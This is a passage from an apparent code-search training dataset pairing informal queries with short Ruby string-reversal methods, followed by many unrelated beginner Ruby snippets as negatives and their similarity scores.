"def logo\nsystem 'cls'\ngets.chomp\n\nrequire 'colorize'\nputs (\"\"\"\n ____ ___ ____ __ __ _ ______ _ __ __\n / __ \\\\/ | / __ \\\\/ //_/ / | / / __ \\\\ | / / / /\n / /_/ / /| | / /_/ / , < / |/ / / / / | /| / / / /\n / ____/ ___ |/ _, _/ /| | / /| / /_/ /| |/ |/ / /_/\n /_/ /_/ |_/_/ |_/_/ |_| /_/ |_/\\\\____/ |__/|__/ (_)\n\"\"\").colorize(:green)\n\nputs (\"\"\"\n\n ▄████████████▄\n ▄██▓▓▓▓▓▓████▓▓▓▓▓▓▓▓▄\n ▄██▓▓▓▓▓▓▓▓████▓▓▓▓▓▓▓▓▓▓▄\n ▄▀███▓▓▓▓▓▓▓▓▓▓████▓▓▓▓▓▓▓▓▓▓▓████████████▄\n ▄▀█████████████████ ███████████████████████▓▓\n ██████▀ ▄██▄ ▀█████ ███████████▀ ▄██▄ ▀████▓▓\n █████ ██████ █████ ███████████ ██████ ███\n ▀▀▀ ▀██▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀██▀ ▀▀\n\n\"\"\").colorize(:black)\n puts (\"\"\"\n ╔══════════╗ ╔══════════╗ ╔══════════╗ ╔══════════╗\n ║ Preview ║ ║ Register ║ ║ Log in ║ ║ Tour ║\n ╚══════════╝ ╚══════════╝ ╚══════════╝ ╚══════════╝\n \"\"\").colorize(:red)\nend",
"def red\n colorize(:red)\nend"
] | [
"0.69875705",
"0.68206906",
"0.67406154",
"0.6666188",
"0.664469",
"0.66230404",
"0.6506026",
"0.64943737",
"0.6451751",
"0.64425683",
"0.64157015",
"0.6403997",
"0.6399919",
"0.6375844",
"0.6370051",
"0.633768",
"0.628246",
"0.62615037",
"0.6249127",
"0.62110984",
"0.62108976",
"0.62108976",
"0.62108976",
"0.62068504",
"0.6168279",
"0.61568326",
"0.61501116",
"0.6139654",
"0.612844",
"0.6122182",
"0.61098886",
"0.60990554",
"0.6082684",
"0.60610443",
"0.6052529",
"0.60261524",
"0.60237855",
"0.60212433",
"0.60149384",
"0.6002545",
"0.6001748",
"0.5996599",
"0.5996599",
"0.5988844",
"0.5987689",
"0.59840184",
"0.59831464",
"0.5973206",
"0.5966129",
"0.5961255",
"0.59533477",
"0.59488475",
"0.5940097",
"0.59395576",
"0.5873899",
"0.5873899",
"0.5871358",
"0.587107",
"0.587107",
"0.587107",
"0.587107",
"0.587107",
"0.58599037",
"0.5852996",
"0.5847362",
"0.58411396",
"0.5840517",
"0.5840258",
"0.5837742",
"0.5832127",
"0.5832127",
"0.582904",
"0.5827374",
"0.582426",
"0.58231664",
"0.58172774",
"0.58170587",
"0.581206",
"0.58116186",
"0.580669",
"0.58022815",
"0.57871646",
"0.5786579",
"0.5784676",
"0.5784676",
"0.57797986",
"0.577204",
"0.57579917",
"0.5750247",
"0.5745466",
"0.5745072",
"0.57425135",
"0.5742474",
"0.57418084",
"0.57418084",
"0.5741641",
"0.5740721",
"0.5739074",
"0.57354087",
"0.573421",
"0.5733704"
] | 0.0 | -1 |
4 SIGH didnt need a to_s and also the spaces affect your answer | def wordReverse (str)
str.split(' ').reverse.join(' ')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def to_s()\r\n\t\treturn guessed_word().split('').join(' ')\r\n\tend",
"def to_s\n \t#Create an empty string\n \tletter_array = @spaces\n \t# puts letter_array.to_s\n \tletter_array.map!{|char| char == \"Q\" ? char = \"Qu \" : char = char + \" \"}\n\n \toutput_string = String.new()\n\n \t# output_string = output_string.split('').map!{|char| char = char + \" \"}.join('')\n \t4.times do\n \t\toutput_string << letter_array.shift(4).join('') + \"\\n\"\n \tend\n\n\n output_string\n end",
"def format; :n3; end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end",
"def to_s\n spoonerize.join(\" \")\n end",
"def to_s()\n\t\trslt = \"\\n\\n\\nPRINTING ALL HYPOTHESES (#{@stack.length}): \\n\"\n\t\[email protected]_with_index do |hypothesis, index|\n\t\t\trslt += \"n° #{@stack.length - index - 1} : \"+ hypothesis.to_s + \"\\n\"\n\t\tend\n\t\treturn rslt\n\tend",
"def to_s\n rval = \"\"\n rval += \" pesa #{@peso} kilos , mide #{@altura} metros, tiene #{@edad} años y es\"\n if(sexo == 1)\n rval+= \" un hombre\"\n else\n rval+= \" una mujer\"\n end\n rval\n end",
"def to_s(n_cmds); end",
"def take_bath\n #increment hygiene_points by 4\n #return string \"♪ Rub-a-dub just relaxing in the tub ♫\"..\n self.hygiene +=4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def to_s\n text = 'Once upon a time ' + @sentences[0].to_s\n @sentences[1..-1].each do |sentence|\n bridge = BRIDGES.pick.to_s\n text += bridge + ' ' + (bridge[-1,1] == '.' ? sentence.to_s.capitalize : sentence.to_s)\n end\n text.gsub!(/ ,/, ',') # a little clean-up\n text.gsub!(/(.{70,80}) /, \"\\\\1\\n\")\n text + \".\\nThe End.\\n\"\n end",
"def to_s\n output_string = String.new\n letter_array = @spaces\n 4.times do\n output_string << letter_array.shift(4).join('') + \"\\n\"\n end\n output_string\n end",
"def do_dot s; a = mega_pop(s); String == a.class ? s[:output] << \"#{a.ord} \" : s[:output] << \"#{a} \" end",
"def str3; end",
"def str3; end",
"def to_s\n cont = 97\n\t result = text + \"\\n\"\n\t answers.each{|i| result += cont.chr + \") \" + i + \"\\n\"; cont+=1}\n\t return result\n end",
"def puts_s(thing)\n puts\n puts \"--\"*7\n puts thing\n puts \"--\"*7\n puts\nend",
"def to_s\n Gimchi.compose chosung, jungsung, jongsung\n end",
"def work_out\n self.happiness += 2\n self.hygiene -= 3\n return \"♪ another one bites the dust ♫\" \n end",
"def to_s\r\n output = \"\"\r\n\r\n t = @chances\r\n\r\n ascii = <<-eos\r\n _____\r\n | #{t<7 ? '|':' '}\r\n | #{t<6 ? 'O':' '}\r\n | #{t<2 ? '/':' '}#{t<5 ? '|':' '}#{t<1 ? '\\\\':' '}\r\n | #{t<4 ? '/':' '} #{t<3 ? '\\\\':' '}\r\n |\r\n ====\r\n eos\r\n\r\n output << ascii\r\n\r\n @secret_word_letters.each do |l|\r\n output << (@guessed_letters.include?(l) ? l : '__') + ' '\r\n end\r\n output\r\n end",
"def shout(phrase)\n return \"#{phrase.upcase} !!!!\"\n #return \"#{phrase}!!!!\".upcase\nend",
"def guesses_s(guesses)\n str = \"\"\n guesses.each() {|letter| str << \"#{letter} \"}\n return str\nend",
"def to_s\n cont = 97 #Corresponde al char 'A'\n\t result = text + \"\\n\"\n\t answers.each{|i| result += cont.chr + \") \" + i.to_s + \"\\n\"; cont+=1}\n\t return result\n end",
"def shout(str)\n puts str\n end",
"def tr_s(p0, p1) end",
"def what_a_quitter\n puts printer.admonishment\n end",
"def DvisionStringified(num1, num2)\n\tanswer = (num1 / num2).to_s\n\tif answer.length > 3\n\t\tanswer.insert(-4, \",\")\n\tend\n\treturn answer\nend",
"def shorten_difficulty(diff)\n diff = diff.to_s\n diff = diff.gsub(/heroic_(10|25)/, '\\1H')\n diff = diff.gsub(/normal_(10|25)/, '\\1')\n\n \" (#{diff})\"\n end",
"def to_s\n str = \"%04d: %-27s\" % [@ip, opcode]\n str << @args.map{|a| a.inspect}.join(', ')\n if @comment\n str << \" # #{@comment}\"\n end\n\n return str\n end",
"def to_s\n\t\t \"This #{@style.downcase } building at #{@address.upcase } has #{ @num_floors } floor(s) and #{@apartments.length} apartment(s).\"\n\tend",
"def to_s()\n \"#{get_grasas()}\\n#{get_saturadas()}\\n#{get_monoin()}\\n#{get_poli()}\\n#{get_hidratos()}\\n#{get_azucares()}\\n#{get_alco()}\\n#{get_almidon()}\\n#{get_fibra()}\\n#{get_proteinas()}\\n#{get_sal()}\"\n end",
"def to_s\n r = \"##### ##### ##### ##### #####\\n\"\n (0..2).each { |y|\n (0..2).each { |x|\n r += get_print_char(x,y, '.') + \" \"\n }\n r += (\" \" * 5)\n (0..2).each { |x|\n r += get_print_char(x,y, nil, \" \", \" \") + \" \"\n }\n r += \"\\n\"\n }\n r += '##### ##### ##### ##### #####'\n end",
"def s; @side.to_s[0,1]; end",
"def to_s\n input.morphword.to_s + ' ' + @candidate.to_s\n end",
"def ruspace (short = false)\n rusprice ' ', short\n end",
"def spaces_suround\n string = self\n unless [-1] == \" \"\n string = string + \" \"\n end\n unless [0] == \" \"\n string = \" \" + string\n end\n string\n end",
"def to_s\n pretty.uncolor.gsub(/(\\s*\\n)+/, \" \").gsub(/\\s{2,}/, \" \")\n end",
"def prettify\n @code.gsub(/(.{4})/, '\\1 ').strip\n end",
"def to_s\r\n \"#{wrap}*\"\r\n end",
"def roll_six\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: * * :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def to_s\n \"[X] #{@text}\" if @correct\n \"[ ] #{@text}\" unless @correct\n end",
"def to_s\n \"[X] #{@text}\" if @correct\n \"[ ] #{@text}\" unless @correct\n end",
"def wookiee_sentence; end",
"def to_s\n if @code.count < 13\n @code.join + @check_digit.to_s\n else\n @code.join\n end\n end",
"def to_s_without_spaces\n to_s.gsub(\" \",\"\").gsub(\"\\n\",\"\").gsub(\"\\r\",\"\")\n end",
"def to_s\n \"\\s\\s#{@title}\\n#{'#' * (@title.size + 4)}\\n\\n#{@exam}\"\n end",
"def test_to_s()\n assert_equal(@empty_string,@rp0_1.to_s(),\"Keine korrekte Aufbereitung, wenn Zaehler 0 ist\")\n assert_equal(@empty_string,@rp0_2.to_s(), \"Keine korrekte Aufbereitung, wenn Wort das leere Wort ist\")\n assert_equal(@jaajaa_3,@rp1.to_s(),\"Keine korrekte Aufbereitung fuer nicht leere replizierte Strings\")\n end",
"def to_s ; format ; end",
"def wookie_sentence; end",
"def to_s\n variable = 0\n @values.each do |k, v|\n if variable % 9 == 0\n puts \"|\"\n\n puts \".\" * 37\n\n end\n print \"| #{v} \"\n variable += 1\n end\n \"|\"\n end",
"def e010_bairro(pedido)\n return \"%-30s\" % \"JARDIM GUANABARA\"\n end",
"def to_s\n self.word_form + self.space\n end",
"def to_s\n\t\ts = \"\"\n\t\t\n s += super + \"\\n\\n\"\n\n s += \"Emisiones de gases en kg CO2 \" + emisiones_gei.to_s + \"\\n\"\n\n s+= \"Cantidad de terreno empleado en m2 \" + area_terreno.to_s + \"\\n\"\n\tend",
"def bang!\n \"b a n g\"\n end",
"def out(*args); to_s(*args); end",
"def throw_fierce_lqqks\n 'Here I am, giving you Soviet-Satellite realness'\n end",
"def swasify(word)\r\n word = word.upcase.gsub(' ','').strip\r\n width = (word.length*2 - 1)*4 - 3\r\n sc = width/2\r\n word.split('')[0..-2].each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc3 = 3\r\n \r\n word.split('')[1..-2].reverse.each do |letter|\r\n sc += 2\r\n sc2 -= 4 \r\n puts \" \"*sc + letter + \" \"*sc2 + letter + \" \"*sc3 + letter\r\n sc3 += 4\r\n end\r\n\r\n puts (word[0] + ' '*sc3)*2 + word[0]\r\n\r\n sc = 2\r\n word.split('')[1..-2].each do |letter|\r\n sc3 -= 4\r\n puts \" \"*sc + letter + \" \"*sc3 + letter + \" \"*sc2 + letter\r\n sc += 2\r\n sc2 += 4\r\n end\r\n\r\n sc2 = word.length*4 - 5\r\n puts \" \"*sc + word[-1] + \" \"*sc2 + word[-1]\r\n sc += sc2 - 1\r\n word.split('')[0..-2].reverse.each do |letter|\r\n puts \" \"*sc + letter\r\n sc -= 2\r\n end \r\nend",
"def to_s(*) end",
"def to_s(*) end",
"def to_s(*) end",
"def pan_body()\n self.zip((?a..?z).to_a).collect do |n, c|\n sprintf(\" %s%s %c%s\", \\\n (c==?z ? \"and \" : \"\"), \\\n n.to_en, c, \\\n (n>1) ? \"'s\" : \"\")\n end\n end",
"def roll_four\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def to_s\r\n \"!#{wrap}\"\r\n end",
"def to_s format = '%8.4f'\n (\"%-6s\" + \"#{format} \" * 3) % ([name] + pos.to_a) \n end",
"def to_s\r\n board = @board.dup.upcase\r\n (1..17).each do |idx|\r\n print board[idx-1]\r\n print \" \" unless idx == 17\r\n puts if idx % 4 == 0\r\n end\r\nend",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s()\n result = nil\n \n if @number < 10\n result = WORD_DICT[@number]\n\n elsif number <= 99\n result = two_least_sig\n \n elsif number == 1000\n result = \"one thousand\"\n\n elsif number % 100 == 0\n result = hundreds_component\n\n elsif number <= 999\n result = \"#{hundreds_component} and #{two_least_sig}\"\n end\n\n return result\n end",
"def hamstrings_stretch\n \"Remaining seated, extend one leg outward. Reach toward your toes. Hold for 10 to 30 seconds. Repeat on the other side. Be sure to do this one leg at a time, as doing this exercise with both legs out can cause back issues.\"\nend",
"def to_s\n map do |allomorphs, hyps|\n separator = \"-\"* allomorphs.to_s.length\n \"#{allomorphs}\\n#{separator}\\n\" + hyps.flatten.join(\"\\n\")\n end.join(\"\\n\\n\")\n end",
"def catch_phrase\n [\n [\"ninja\",\"master\",\"student\"].rand, \n [\"\", \"\", \"\", \"\", \"\", \"\", \"weapons\", \"s' 3rd annual\",\"s' 5th annual\",\"s' 10th annual\", \"s' secret\"].rand,\n [\"gathering\",\"celebration\",\"meeting\",\"tournament\",\"competition\",\"party\",\"training camp\",\"sparring event\"].rand,\n [\"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"with Leonardo\", \"with Raphael\", \"with Michaelangelo\", \"with Donatello\"].rand\n ].join(' ').gsub(/ s\\'/,'s\\'').gsub(/\\s\\s/,' ').strip\n end",
"def name_significance #adding an instance method\n parts = self.split( '-' )\n syllables = @@syllables.dup\n signif = parts.collect do |p|\n syllables.shift[p]\n end\n signif.join( ' ' )\n end",
"def to_s(); self.unpad[0] end",
"def setprintword()\n\t\treturn @guessing_word.join(\" \")\n\tend",
"def nine_point_five(word)\n\n end",
"def convert_q_to_phred33(q_value)\r\n return (q_value.round() + 33).chr\r\nend",
"def to_s()\n str = \"\"\n @ingame_word.each do |letter|\n if(letter == \" \")\n str << \"_\"\n else\n str << letter\n end\n str << \" \"\n end\n return str\n end",
"def formatting(str)\n puts str * 80\nend",
"def to_s\n \"#{get_titulo} #{get_porcentaje}\\n#{get_conjunto_platos}\\nV.C.T. | % #{get_vct} | #{get_proteinas} - #{get_grasas} - #{get_hidratos}\" \n end",
"def squeek\r\n\t\treturn \"eeeep\"\r\n\tend",
"def to_s\n return '▣' if @flagged\n return '□' unless @revealed # an empty box\n return '◈' if @is_mine # an explosion symbol\n\n @num_neighbor_mines.zero? ? '.' : @num_neighbor_mines.to_s\n end",
"def neginv(b) return \"@SP\\nA=M-1\\nM=\"+b+\"M\\n\" end",
"def slogan\n # 'A maneira mais fácil de pré-qualificar ao Atlas.'\n ''\n end",
"def to_s\n raw = \"Raw: #{@raw}\"\n puts raw\n puts\n father = \"Father: #{@father.raw if @father}\"\n puts father\n puts\n left_sentence = \"Left: #{@left_sentence.raw if @left_sentence}\"\n puts left_sentence\n puts\n operator = \"Operator: #{@operator.value if @operator}\"\n puts operator\n puts\n right_sentence = \"Right: #{@right_sentence.raw if @right_sentence}\"\n puts right_sentence\n puts\n level = \"Level: #{@level}\"\n puts level\n puts\n end"
] | [
"0.62774235",
"0.62774235",
"0.621174",
"0.61651784",
"0.61552423",
"0.61491066",
"0.6148192",
"0.61145896",
"0.60867953",
"0.60678303",
"0.5986069",
"0.59523994",
"0.59415764",
"0.5922887",
"0.59210575",
"0.59210575",
"0.5898727",
"0.5883289",
"0.5879344",
"0.58636963",
"0.5844873",
"0.5830873",
"0.5830246",
"0.58031356",
"0.5796877",
"0.5789536",
"0.5777025",
"0.5773481",
"0.5763674",
"0.57527965",
"0.575164",
"0.5744556",
"0.57378983",
"0.5731318",
"0.57263166",
"0.5715818",
"0.5706537",
"0.570054",
"0.5689936",
"0.56892985",
"0.5675724",
"0.5673229",
"0.5673229",
"0.5673206",
"0.56665415",
"0.56644607",
"0.5633474",
"0.5629407",
"0.5617576",
"0.56144613",
"0.5609245",
"0.5608334",
"0.56073874",
"0.56056744",
"0.5603506",
"0.5601739",
"0.5601444",
"0.55992264",
"0.55943155",
"0.55943155",
"0.55943155",
"0.55928457",
"0.55911094",
"0.5590671",
"0.5590281",
"0.5585403",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55843043",
"0.55813783",
"0.5574178",
"0.55707175",
"0.5569692",
"0.55665773",
"0.55663764",
"0.5562879",
"0.5557524",
"0.555296",
"0.5542",
"0.5541907",
"0.55375797",
"0.55374604",
"0.5537278",
"0.5531757",
"0.55294466",
"0.55271685"
] | 0.0 | -1 |
5 it works but cant only be a space difference? | def letterReverse (str)
str.split('').reverse.join('')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def five_spaces\n 5.times do\n nbsp\n end\n end",
"def nine_point_five(word)\n\n end",
"def spaces; end",
"def spaces; end",
"def roll_five\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: * :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def yummie(n)\r\n\r\n print \"(\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \".\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \"v\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \".\"\r\n (1..n).each{\r\n print \" \"\r\n }\r\n print \")\"\r\n\r\nend",
"def spaces_suround\n string = self\n unless [-1] == \" \"\n string = string + \" \"\n end\n unless [0] == \" \"\n string = \" \" + string\n end\n string\n end",
"def increase_spaces()\n @spaces += 1\n end",
"def spacer\n name.length > 15 ? '' : ' '*(15-name.length+1)\n end",
"def sushi_cost(meal)\n cost = 0\n sushi_tracker = 0\n meal.split('').each do |meal_content|\n sushi_tracker += 1 unless meal_content == \" \"\n if meal_content == \"r\" && sushi_tracker % 5 != 0\n cost += 2\n elsif meal_content == \" \"\n cost\n end\n end\n print cost\nend",
"def base\n nombre = @nombre\n b = 1# nombre de diese\n nombre.times do |i|\n if i == 0\n next\n end\n espace = \" \"\n has = \"# \"\n \n c = nombre - i# nombre d'espace\n a = nombre - c\n puts \" #{espace*=c} #{has=has*b}\"\n b = (i + 2 + a)-1# nombre de diese\n end\n\nend",
"def roll_four\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def spacing; 0; end",
"def roll_six\n puts %Q{...........}\n puts %Q{: * * :}\n puts %Q{: * * :}\n puts %Q{: * * :}\n puts %Q{'''''''''''}\nend",
"def space_before()\n #This is a stub, used for indexing\n end",
"def seperation\n puts \"-\" * 10\n end",
"def spacing\r\n return 8\r\n end",
"def spacing\n return 8\n end",
"def spacing\n return 8\n end",
"def printSpaces(name,space)\n if name\n print name\n name.size.upto (space) do\n print \"\\s\"\n end\n else\n 0.size.upto (space) do\n print \"\\s\"\n end\n end\nend",
"def printSpaces(name,space)\n if name\n name.size.upto (space) do\n print \"\\s\"\n end\n else\n 0.size.upto (space) do\n print \"\\s\"\n end\n end\nend",
"def skip_space=(_arg0); end",
"def test_removes_spaces\n\t\tassert_equal(true,check_isbn_length(\"123 123 123 4\"))\n\tend",
"def five_ws(string)\n ch = string.split(\".\")\n question = [\"Wny\" , \"What\" , \"Where\" , \"Who\" , \"When\"]\n result = ''\n ch.each { |x| \n #puts x \n if question.include?( x.split(\" \")[0]) \n #puts \"ok\"\n result += x + \"?\"\n else \n result += x +'.'\n end }\n #puts result \n return result \n \nend",
"def staircase(n)\r\n # Write your code here\r\n empty = \" \"\r\n value = \"#\"\r\n n.times do |num|\r\n \tnumber = num + 1\r\n first = empty*(n-number).abs\r\n second = value*number\r\n puts first+second\r\n end\r\nend",
"def standard_gap\n \" \"\n end",
"def space(number = 1)\n ' ' * number\n end",
"def make_blanks\r\n\t#make an array with \"_ \" pushed in the length times. Every time its printed use join method\r\n\t\[email protected] do |x|\r\n\t\t\t@blanks << \"_ \"\r\n\t\tend\r\n\tend",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end",
"def skip_space; end",
"def navidad(n)\n result = \"\"\n n.times do |ind| \n i = ind + 1 \n (n-i).times do \n result += \" \"\n end\n i.times do\n result += \"* \" \n end\n result += \"\\n\" \n end\n \n 3.times do |i|\n if i != 2\n n.times do |b|\n if (n+1)/2 == b+1\n result += \"* \"\n else\n result += \" \"\n end \n end\n result += \"\\n\"\n else\n n.times do |b| \n if ((n+1)/2)-2 == b || ((n+1)/2)-1 == b || (n+1)/2 == b\n result += \"* \"\n else\n result += \" \"\n end \n end\n end\n end \n result\nend",
"def space\n 3.times { puts \"\\n\"}\n end",
"def space\n 20.times do\n puts \"\"\n end\n end",
"def take_bath\n #increment hygiene_points by 4\n #return string \"♪ Rub-a-dub just relaxing in the tub ♫\"..\n self.hygiene +=4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def separator = '********************' * 8",
"def half_pyramid\n puts \"entrer un nombre d'etage de votre choix\"\n nombre = gets.chomp.to_i\n nombre += 1\n\n nombre.times do |j|\n has = \"# \"\n puts \" #{has*=j}\"\n \n end\nend",
"def roll_three\n puts %Q{...........}\n puts %Q{: * :}\n puts %Q{: * :}\n puts %Q{: * :}\n puts %Q{'''''''''''}\nend",
"def full_pyramid\n\n\tputs \"Salut bienvenue dans ma super pyramide ! Combien d'étages veux-tu ?\"\n\tprint \">\"\n\n\tnumber_of_floors = gets.to_i \n\t# fonctionne également avec gets.chomp.to_i\n\n\n\tputs \"Voici la pyramide :\"\n\t\n\t#Condition sur le nombre d'étages de la pyramide qui ne peux excéder 25\n\tif number_of_floors < 26\n\t\tnumber_of_floors.times do |i|\n\t\tblankspace = \" \" * (number_of_floors - (i + 1))\n\t\thastag = \"#\" * (2*i+1)\n\t\tputs \"#{blankspace}#{hastag}\"\n\tend\n\n\telse \n\t\tputs \"Désolé mais une pyramide ne peut avoir que 25 étages maximum.\"\n\tend \n\nend",
"def space\n\tputs \" \" * 100\nend",
"def learning\n learning = \"USE YOUR TIME TO LEARN!\"\n dashes = \"-\" * learning.length\n equals = \"=\" * learning.length\n puts dashes\n puts equals\n puts learning\n puts equals\n puts dashes\nend",
"def line_of_30_stars\n puts \"* \" * 30\n end",
"def indent1\n ' ' * 2\n end",
"def five_it(item)\n 5.times do |count|\n p item + count.to_s\n end\nend",
"def equal_spaced_output\n\n\t\tputs \"Type an integer to set column spacing\"\n\t\tspacing = gets.chomp.to_i\n\t\tlargest_word = find_largest_word\n\n\t\tspacing += largest_word.length\n\n\t\tcounter = 0\n\t\[email protected] do |x|\n\n\t\t\tfinished = nil\t\t\t\n\n\t\t\tloop do \n\n\t\t\t\tlength = x.length\n\n\n\t\t\t\tif length <= spacing\n\t\t\t\t\tx << ' '\n\t\t\t\telse\n\t\t\t\t\tx << '|'\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\n\t\t\tend\n\n\t\t\tputs x\n\n\t\tend #end string each\n\n\n\tend",
"def output_spaces (intnumber, string=\"\")\n intnumber.times { print \" \" }\n puts string\nend",
"def spacing\n puts \"\"\n puts \"\"\n puts \"\"\n end",
"def full_pyramide\n\tputs \"salut!bienvenue dans ma super pyramide!combien d'etage veux-tu?\"\n\ti=1 #1 zany n anombohan le i\n\tprint \">\"\n\tn= gets.chomp.to_i #n correspond le nbre de ligne de la pyramide\n\tputs\"voici la pyramide\"\n\tx=n #nbre de depart anle espace\n\tspace=\" \" #mamaritra n espace\n\twhile i<=n do #tant que i est inferieur ou egal n fait\n\tputs ((space * x)+(\"#\" * (i*2-1))) #rehefa te hahazo chiffre impaire de (i*2-1)\n\tx-=1\n\ti+=1\n\tend\nend",
"def space1\n puts \"\"\nend",
"def ne(length_of_sides)\n spaces = length_of_sides\n accum_num = length_of_sides\n length_of_sides.times do\n puts \"#{' ' * (spaces - accum_num)}#{'*' * accum_num}\"\n accum_num -= 1\n end\nend",
"def chars_left; end",
"def horizontalSpacer(n , text)\n n.times {print \" \"}\n puts text\nend",
"def space; txt ' ','' end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n end",
"def thirty\n end",
"def take_bath\n self.hygiene = @hygiene + 4\n # Another way to do the above:\n # self.hygiene=(@hygiene + 4)\n \"♪ Rub-a-dub just relaxing in the tub ♫\" \n end",
"def special_action_code\n \"\".ljust_trim 2\n end",
"def full_pyramide\n\tputs \"*\" * 50\n\tputs\"Salut, Bienvenue dans ma pyramide\"\n\tputs \"Nous allons construire une pyramide au temps d'Egypte\"\n\tputs \"VCombien d'etage veux-tu?\"\n\tprint \"||>\"\n\n\tetage = gets.chomp.to_i\n\tbase = etage + (etage-1)\n\tbase1 = (base-1)/2 + 1\n i = 1\n \n\tetage.times do \n\n\t\tbase1.times do\n\t\t\tprint \" \"\n\t\tend\n\n\t\ti.times do\n\t\t\tprint \"#\"\n\t\tend\n\n\t\ti+= 2\n\t\tbase1 -= 1\n\t\tputs \" \"\n\tend\n\t\nend",
"def roll_five_alt\n puts \"...........\n: * * :\n: * :\n: * * :\n'''''''''''\n\"\nend",
"def str3; end",
"def str3; end",
"def frame_builder \n puts \"Enter some words and I will print them with a border of *.\"\n puts\n\n string = gets.chomp\n puts\n \n split_words = string.split(\" \")\n @longest_word = []\n\n split_words.each do |x|\n @longest_word << x.length\n end\n\n @longest_word = @longest_word.sort![-1] + 4\n puts \"*\" * @longest_word\n\n split_words.each do |x|\n if x.length == @longest_word\n puts \"* #{x} *\"\n else\n @diff = @longest_word - x.length\n @spaces = @diff - 3\n puts \"* \"+ \"#{x}\" + \" \" * @spaces + \"*\"\n end\n end\n\n puts \"*\" * @longest_word\n \nend",
"def _Ticks5\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"`````\")\n unless _tmp\n self.pos = _save\n break\n end\n _save1 = self.pos\n _tmp = match_string(\"`\")\n _tmp = _tmp ? nil : true\n self.pos = _save1\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_Ticks5 unless _tmp\n return _tmp\n end",
"def eval_5_cards( c1, c2, c3, c4, c5)\n 1\n end",
"def sep\n puts\n puts '=' * 70\n puts\nend",
"def row(num_space, num_star)\n space = ' ' * num_space\n star = '*' * num_star\n arr = [space, star, space]\n puts arr.join\nend",
"def mambo_no_5; end",
"def divider(char=\"-\")\n char * 80\nend",
"def print_in_box(text)\n\n text_length = text.size + 2\n\n line_one_five = puts '+' + '-'* text_length + '+'\n line_two_four = puts '|' + ' '* text_length + '|'\n line_three = puts '| ' + text + ' |'\n line_two_four = puts '|' + ' '* text_length + '|'\n line_one_five = puts '+' + '-'* text_length + '+'\n\n\nend",
"def seperator\n puts \"*\"*49\n end",
"def tab(n, *string)\r\n string.each_with_index { |e, i| i == 0 ? (puts \" \" * n + e) : (puts e) }\r\n end",
"def full_pyramid\n puts \"Salut, bienvenue dans ma super pyramide! Combien d'étages veux-tu ?\"\n print \">\"\n nbr_etages = gets.chomp.to_i\n while nbr_etages < 1 || nbr_etages > 25\n puts \"Entre un nombre compris entre 1 et 25\"\n print \">\"\n nbr_etages = gets.chomp.to_i\n end\n\n a=\"#\"\n b=\" \"\n count=0\n puts \"Voici la pyramide:\"\n nbr_etages.times do\n count=count+1\n c= nbr_etages - count\n d= b*c + a*(count-1)\n e= a*(count-1) + b*c\n puts d + a + e\n end\nend",
"def fifth\n at(4)\n end",
"def space\n self.last.to_i - self.first.to_i + 1\n end",
"def indentize!(count, char = ' ')\n tap do |s|\n s.gsub!(/([^\\n]*)(\\n|$)/) do\n s1 = Regexp.last_match(1)\n s2 = Regexp.last_match(2)\n not_empty = s1 != '' || s2 != ''\n \"#{char * count}#{s1}#{s2}\" if not_empty\n end\n end\n end",
"def five(a,b,c,d,e)\n\t\"I was passed #{a}, #{b}, #{c}, #{d}, #{e}\"\nend",
"def spaces(string1, string2, string3)\n return string1 + \" \" + string2 + \" \" + string3\nend",
"def empty_code(size, lvl)\n empty_code = Array.new(size) { '?'.to_sym }.join(\" | \")\n t = (lvl == 0) ? 20 : (lvl == 1) ? 19 : 18.5\n tab(t)\n %Q([ #{empty_code} ]).typing\n end",
"def bug_segment(win, default=0)\n reward = win - default\n reward.times do\n puts extend_bug_line_1 = \" ---- \"\n puts extend_bug_line_2 = \"/ \\\\\"\n puts extend_bug_line_3 = \"l====l\"\n end\nend",
"def deal5cards (n)",
